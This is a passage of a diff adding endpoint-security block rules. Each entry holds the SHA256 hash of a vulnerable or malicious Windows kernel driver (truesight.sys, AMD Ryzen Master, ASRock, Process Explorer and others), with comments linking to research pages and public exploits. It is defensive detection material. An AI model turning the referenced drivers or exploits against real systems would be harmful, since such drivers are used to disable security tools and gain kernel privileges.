+  "hl_testing_start_time": "2026-03-23T11:45:30.828938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4a65f4671a6fd29d5e212dfd0e87011bc969ed3d3a72ac8f0b24a20be9a8b5d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00499fd4-be3f-5abf-ba9d-b5a26e40514d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811764Z",
+  "creation_date": "2026-03-23T11:45:31.811766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9d8be1fa973114a45254ddc7d925a2ce9349fdebded42caf8dac724afd0cfc5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "004ed130-1032-5e7f-b2e6-ef0866d53b9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152722Z",
+  "creation_date": "2026-03-23T11:45:31.152725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152734Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cab6ae2ea21cc943a0c0e27f25de5bed2b801ac2863d7123334634411bcb3cf6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0054d0e0-4d3e-5aed-b367-10ee3412c190",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476211Z",
+  "creation_date": "2026-03-23T11:45:31.476214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9142fe1834f09556508cb0af1c9258211654e08a3d64aad27a46d1cdd56c17b7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "005857e6-bff5-5551-8cb0-df874e1d802a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829096Z",
+  "creation_date": "2026-03-23T11:45:30.829098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b74f31ad89c969bd1e154729c3e50136a3804fb759d164ed9d3247d791122b6b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00634432-7aa3-53f2-b194-f49bb3bf6de4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824969Z",
+  "creation_date": "2026-03-23T11:45:31.824972Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824981Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b11d13216855f507240d4e5d56bd5f53ce38669db22a7a6d6a0b37bba99e0403",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0068f420-1cf4-599c-818a-683a69750f9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145205Z",
+  "creation_date": "2026-03-23T11:45:32.145207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7ff6a8a70471991d00525b02071eff55a2252d7f8dfb299ac2d169e811f6a84",
+  "comment": "Malicious Kernel Driver (aka driver_981d03e1.sys) [https://www.loldrivers.io/drivers/1106fe7a-b78b-4edf-85c0-6208979f380b/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0074af71-a717-5d22-aa31-f53758720ddc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154332Z",
+  "creation_date": "2026-03-23T11:45:31.154334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7780bd43d0642303063ddaeca5de98b997d6302f6e6a4fd496561b13262a3b74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "008468fd-f453-54a0-b63e-7e7c7ff7c681",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159229Z",
+  "creation_date": "2026-03-23T11:45:31.159231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f43846327935f1cc29daf07730eb39f44cd3b26c770df770d2068a9a5e2aed0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0088cc75-6f09-5f46-b77e-30f2c576971e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494846Z",
+  "creation_date": "2026-03-23T11:45:31.494848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494855Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "322d95fbb0e6a856576a4fe58c30fb67eab8fb2ca29512972d65145cbce73016",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00896919-433d-5110-b167-1ba05552c2a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830040Z",
+  "creation_date": "2026-03-23T11:45:30.830042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d01d0e15698f945ff5a4c6db58fa66841122daad129298aa10e1d460c2b25a53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0093ca17-b196-5fee-b016-5531682b7457",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457831Z",
+  "creation_date": "2026-03-23T11:45:30.457835Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457844Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cf91e8f64a7c98dbeab21597bd76723aee892ed8fa4ee44b09f9e75089308e2",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0094a78f-4b42-525b-ab15-4e66cd3fe9b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495058Z",
+  "creation_date": "2026-03-23T11:45:31.495060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "825f9c3992e03dfad566039f1651228ba74195f04e4b715ff9a6dc339236a136",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "009b7d33-88a2-5c92-8026-74cfb6b2c2d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975516Z",
+  "creation_date": "2026-03-23T11:45:29.975518Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975524Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a67131e5e7ea45a8b53b6f924d418dfda716a00c2b12ab4d6ee5724c9f0d5549",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00a40f0a-fd59-59ae-a047-1fd24b02af7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980716Z",
+  "creation_date": "2026-03-23T11:45:29.980718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980723Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2121a2bb8ebbf2e6e82c782b6f3c6b7904f686aa495def25cf1cf52a42e16109",
+  "comment": "Vulnerable Kernel Driver (aka CtiIo64.sys) [https://www.loldrivers.io/drivers/de365e80-45cb-48fb-af6e-0a96a5ad7777/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00a97769-b5ce-5b5f-8719-44bbe3d869ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476420Z",
+  "creation_date": "2026-03-23T11:45:30.476427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476439Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b7177e9a10c1392633c5f605600bb23c8629379f7f42957972374a05d4dc458",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00aa84e7-b9ff-54be-8e11-7cd6003e0bb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810236Z",
+  "creation_date": "2026-03-23T11:45:31.810238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff439e7007d97b7e56acfb95ba29a9c9884bf5c0242ff46d11e5cfd8ac5ecfe0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00b98a8c-3b1d-5429-bd09-b4c326e2a065",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606723Z",
+  "creation_date": "2026-03-23T11:45:29.606725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cee01c69cb0c06dd0d98ff05aeb2b0a34a4aa1a71d35a3033bf9c1a35b637c55",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00cd50bc-fafd-52ec-9d30-ea16cf31b1b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822385Z",
+  "creation_date": "2026-03-23T11:45:31.822388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822396Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b458eb6aad837cb6723320ceea1883c07ada507659a4688aedb46954f3f33417",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00d00975-c936-5c33-a724-cc64bbb5bdb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620460Z",
+  "creation_date": "2026-03-23T11:45:29.620462Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620468Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e81230217988f3e7ec6f89a06d231ec66039bdba340fd8ebb2bbb586506e3293",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00e1229c-c643-5b96-9676-3995625f21e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487291Z",
+  "creation_date": "2026-03-23T11:45:31.487293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10c033adf816f4d502e5fa15c0642f0be92bb921b63f1a3190ed41267d60156f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00ed41f8-421e-5823-8056-ca7604607c57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613347Z",
+  "creation_date": "2026-03-23T11:45:29.613351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ed35f310c96920a271c59a097b382da07856e40179c2a4239f8daa04eef38e7",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00f33ddc-9494-5bbd-b8cd-111fe5662e07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475154Z",
+  "creation_date": "2026-03-23T11:45:31.475157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
